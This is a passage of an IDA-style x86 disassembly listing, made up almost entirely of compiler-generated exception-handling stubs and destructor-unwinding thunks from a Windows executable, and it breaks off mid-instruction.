--------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B098: ; DATA XREF: ___:00414B32o mov eax, offset dword_441438 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0B8: ; DATA XREF: ___:00414BC2o mov eax, offset dword_441468 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0D8: ; DATA XREF: ___:004414C4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414D70 proc near ; DATA XREF: sub_414D70+2o mov eax, offset dword_441498 jmp sub_437AB8 SEH_414D70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-48h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-44h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414E10 proc near ; DATA XREF: sub_414E10+8o mov eax, offset dword_4414E0 jmp sub_437AB8 SEH_414E10 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B178: ; DATA XREF: ___:0044156Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401776 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B2E1: ; DATA XREF: ___:00416A92o mov eax, offset dword_441540 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B358: ; DATA XREF: ___:0044167Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401776 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B4C1: ; DATA XREF: ___:00416E32o mov eax, offset dword_441650 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4170B0 proc near ; DATA XREF: sub_4170B0+2o mov eax, offset dword_441760 jmp sub_437AB8 SEH_4170B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_43B55B: ; DATA XREF: ___:004417BCo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417120 proc near ; DATA XREF: sub_417120+2o mov eax, offset dword_441790 jmp sub_437AB8 SEH_417120 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B98B: ; DATA XREF: ___:004419FCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417640 proc near ; DATA XREF: sub_417640+2o mov eax, offset dword_4419D0 jmp sub_437AB8 SEH_417640 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43B9DB: ; DATA XREF: ___:00441A44o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4176E0 proc near ; DATA XREF: sub_4176E0+2o mov eax, offset dword_441A18 jmp sub_437AB8 SEH_4176E0 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BA4E: ; DATA XREF: ___:00441A9Co mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4177B0 proc near ; DATA XREF: sub_4177B0+2o mov eax, offset dword_441A70 jmp sub_437AB8 SEH_4177B0 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BAAB: ; DATA XREF: ___:00441AE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417870 proc near ; DATA XREF: sub_417870+2o mov eax, offset dword_441AB8 jmp sub_437AB8 SEH_417870 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BB0B: ; DATA XREF: ___:00441B34o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417930 proc near ; DATA XREF: sub_417930+2o mov eax, offset dword_441B08 jmp sub_437AB8 SEH_417930 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4179F0 proc near ; DATA XREF: sub_4179F0+2o mov eax, offset dword_441B58 jmp sub_437AB8 SEH_4179F0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417A60 proc near ; DATA XREF: sub_417A60+2o mov eax, offset dword_441B88 jmp sub_437AB8 SEH_417A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417AD0 proc near ; DATA XREF: sub_417AD0+2o mov eax, offset dword_441BB8 jmp sub_437AB8 SEH_417AD0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417B60 proc near ; DATA XREF: sub_417B60+2o mov eax, offset dword_441BE8 jmp sub_437AB8 SEH_417B60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BBFB: ; DATA XREF: ___:00441C4Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417C20 proc near ; DATA XREF: sub_417C20+2o mov eax, offset dword_441C20 jmp sub_437AB8 SEH_417C20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BC4B: ; DATA XREF: ___:00441C94o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417CC0 proc near ; DATA XREF: sub_417CC0+2o mov eax, offset dword_441C68 jmp sub_437AB8 SEH_417CC0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BC9B: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417D60 proc near ; DATA XREF: sub_417D60+2o mov eax, offset dword_441CB0 jmp sub_437AB8 SEH_417D60 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD0E: ; DATA XREF: ___:00441D34o mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417E30 proc near ; DATA XREF: sub_417E30+2o mov eax, offset dword_441D08 jmp sub_437AB8 SEH_417E30 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD6B: ; DATA XREF: ___:00441D7Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417F50 proc near ; DATA XREF: sub_417F50+2o mov eax, offset dword_441D50 jmp sub_437AB8 SEH_417F50 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418010 proc near ; DATA XREF: sub_418010+2o mov eax, offset dword_441DA0 jmp sub_437AB8 SEH_418010 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4180D0 proc near ; DATA XREF: sub_4180D0+2o mov eax, offset dword_441DF0 jmp sub_437AB8 SEH_4180D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418180 proc near ; DATA XREF: sub_418180+2o mov eax, offset dword_441E20 jmp sub_437AB8 SEH_418180 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418200 proc near ; DATA XREF: sub_418200+2o mov eax, offset dword_441E50 jmp sub_437AB8 SEH_418200 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BE8B: ; DATA XREF: ___:00441EACo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4182B0 proc near ; DATA XREF: sub_4182B0+2o mov eax, offset dword_441E80 jmp sub_437AB8 SEH_4182B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BEBB: ; DATA XREF: ___:00441EE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418390 proc near ; DATA XREF: sub_418390+2o mov eax, offset dword_441EB8 jmp sub_437AB8 SEH_418390 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418590 proc near ; DATA XREF: sub_418590+8o mov eax, offset dword_441F00 jmp sub_437AB8 SEH_418590 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BF2B: ; DATA XREF: ___:00441F5Co mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4191B0 proc near ; DATA XREF: sub_4191B0+2o mov eax, offset dword_441F30 jmp sub_437AB8 SEH_4191B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419270 proc near ; DATA XREF: sub_419270+2o mov eax, offset dword_441F68 jmp sub_437AB8 SEH_419270 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419320 proc near ; DATA XREF: sub_419320+2o mov eax, offset dword_441F98 jmp sub_437AB8 SEH_419320 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BF9B: ; DATA XREF: ___:00441FF4o lea ecx, [ebp-28Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4193C0 proc near ; DATA XREF: sub_4193C0+2o mov eax, offset dword_441FC8 jmp sub_437AB8 SEH_4193C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-820h] jmp sub_40187A ; --------------------------------------------------------------------------- loc_43BFCB: ; DATA XREF: ___:0041A288o mov eax, offset dword_442000 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-44h] and eax, 1 test eax, eax jz locret_43BFF6 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43BFF6: ; CODE XREF: ___:0043BFE8j retn ; --------------------------------------------------------------------------- loc_43BFF7: ; DATA XREF: ___:0044205Co lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C007: ; DATA XREF: ___:0041B1F2o mov eax, offset dword_442030 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B500 proc near ; DATA XREF: sub_41B500+2o mov eax, offset dword_442070 jmp sub_437AB8 SEH_41B500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C040 proc near ; DATA XREF: ___:004420CCo lea ecx, [ebp-3Ch] jmp sub_401226 sub_43C040 endp ; --------------------------------------------------------------------------- mov eax, [ebp-40h] and eax, 1 test eax, eax jz locret_43C05E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43C05E: ; CODE XREF: ___:0043C050j retn ; --------------------------------------------------------------------------- loc_43C05F: ; DATA XREF: ___:004420D4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41BA50 proc near ; DATA XREF: sub_41BA50+2o mov eax, offset dword_4420A0 jmp sub_437AB8 SEH_41BA50 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, 